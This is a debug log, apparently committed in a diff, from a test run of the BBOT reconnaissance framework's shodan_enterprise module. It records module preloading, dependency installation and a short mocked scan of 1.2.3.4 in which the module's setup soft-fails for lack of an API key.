+2026-02-27 18:44:24,508 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:44:24,509 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:44:24,509 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:44:24,510 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:44:24,511 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:44:24,511 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:44:24,512 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:44:24,513 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:44:24,514 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:44:24,515 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:44:24,515 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:44:24,516 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:44:24,516 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:44:24,517 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:44:24,517 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:44:24,518 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:44:24,519 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:44:24,519 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:44:24,520 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:44:24,520 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:44:24,521 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:44:24,522 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:44:24,522 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:44:24,523 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:44:24,523 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:44:24,524 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:44:24,525 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:44:24,525 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:44:24,526 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:44:24,526 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:44:24,527 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:44:24,527 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:44:24,528 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:44:24,529 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:44:24,530 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:44:24,530 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:44:24,531 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:44:24,531 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:44:24,532 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:44:24,532 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:44:24,533 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:44:24,533 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:44:24,534 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:44:24,535 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:44:24,536 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:44:24,536 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:44:24,537 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:44:24,538 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:44:24,538 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:44:24,539 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:44:24,539 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:44:24,540 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:44:24,540 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:44:24,541 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:44:24,542 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:44:24,542 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:44:24,543 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:44:24,544 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:44:24,544 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:44:24,544 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:44:24,546 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:44:24,546 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:44:24,547 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:44:24,548 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:44:24,548 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:44:24,549 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:44:24,550 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:44:24,551 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:44:24,552 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:44:24,552 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:44:24,553 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:44:24,554 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:44:24,554 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:44:24,555 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:44:24,556 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:44:24,556 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:44:24,557 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:44:24,558 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:44:24,558 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:44:24,560 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:44:24,560 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:44:24,561 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:44:24,562 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:44:24,563 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:44:24,564 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:44:24,564 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:44:24,565 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:44:24,565 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:44:24,566 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:44:24,567 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:44:24,568 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:44:24,571 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:44:24,571 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:44:24,572 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:44:24,573 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:44:24,574 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:44:24,575 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:44:24,576 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:44:24,577 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:44:24,578 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:44:24,578 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:44:24,579 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:44:24,579 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:44:25,667 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:44:25,667 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:44:25,668 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:44:25,805 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:44:26,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:44:26,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:44:26,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:44:26,430 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:44:26,637 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:44:26,638 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:44:26,747 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:44:26,748 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:44:26,803 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:44:26,805 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:44:26,805 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 18:44:27,243 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:44:27,244 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:44:30,646 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:44:30,646 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:44:30,647 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:44:32,422 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:44:32,423 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:44:32,428 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:44:32,428 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 18:44:32,429 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:44:32,429 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 18:44:32,429 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 18:44:32,430 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 18:44:32,434 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/s1n97mjvxd00j6kkik2i +2026-02-27 18:44:33,207 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 18:44:33,207 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 18:44:33,208 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:44:33,209 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 18:44:33,209 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:44:33,209 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 18:44:33,210 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 18:44:33,329 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 18:44:33,329 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 18:44:33,329 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 18:44:33,331 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 18:44:33,331 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 18:44:33,331 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 18:44:33,331 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 18:44:33,332 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 18:44:33,332 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 18:44:33,333 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 18:44:33,333 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 18:44:33,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 18:44:33,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 18:44:33,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 18:44:33,334 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 18:44:33,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 18:44:33,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 18:44:33,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 18:44:33,335 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 18:44:33,335 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 18:44:33,336 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 18:44:33,336 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 18:44:33,336 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 18:44:33,336 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 18:44:33,337 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 18:44:33,337 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 18:44:33,337 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 18:44:33,337 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 18:44:33,337 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 18:44:33,337 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 18:44:33,338 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 18:44:33,338 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 18:44:33,338 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 18:44:33,338 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 18:44:33,338 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 18:44:33,338 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 18:44:33,339 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 18:44:33,339 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 18:44:33,339 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 18:44:33,339 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified +2026-02-27 18:44:33,339 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 18:44:33,340 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 18:44:33,340 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. +2026-02-27 18:44:33,340 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 18:44:33,340 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 18:44:33,479 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_7lg1uhnzp5 +2026-02-27 18:44:33,479 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 18:44:33,589 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started +2026-02-27 18:44:33,590 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 18:44:33,590 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 18:44:33,591 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-02-27 18:44:33,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:44:33,695 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:44:33,696 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:44:33,697 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-02-27 18:44:33,697 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-02-27 18:44:33,698 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 18:44:33,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:44:33,700 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-02-27 18:44:33,701 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:44:33,702 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:44:33,702 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:44:33,703 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 18:44:33,703 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:44:33,704 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:44:33,705 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 18:44:33,710 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:44:33,711 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 18:44:33,711 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:44:33,712 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-02-27 18:44:33,713 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-02-27 18:44:33,792 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 18:44:33,793 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:44:33,794 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-02-27 18:44:33,795 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-02-27 18:44:33,796 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 18:44:33,796 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 18:44:33,797 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 18:44:33,797 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 18:44:33,798 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 18:44:33,798 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 18:44:33,899 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 18:44:33,900 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 18:44:33,919 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 18:44:33,919 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 18:44:33,920 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks +2026-02-27 18:44:33,926 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks +2026-02-27 18:44:33,927 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 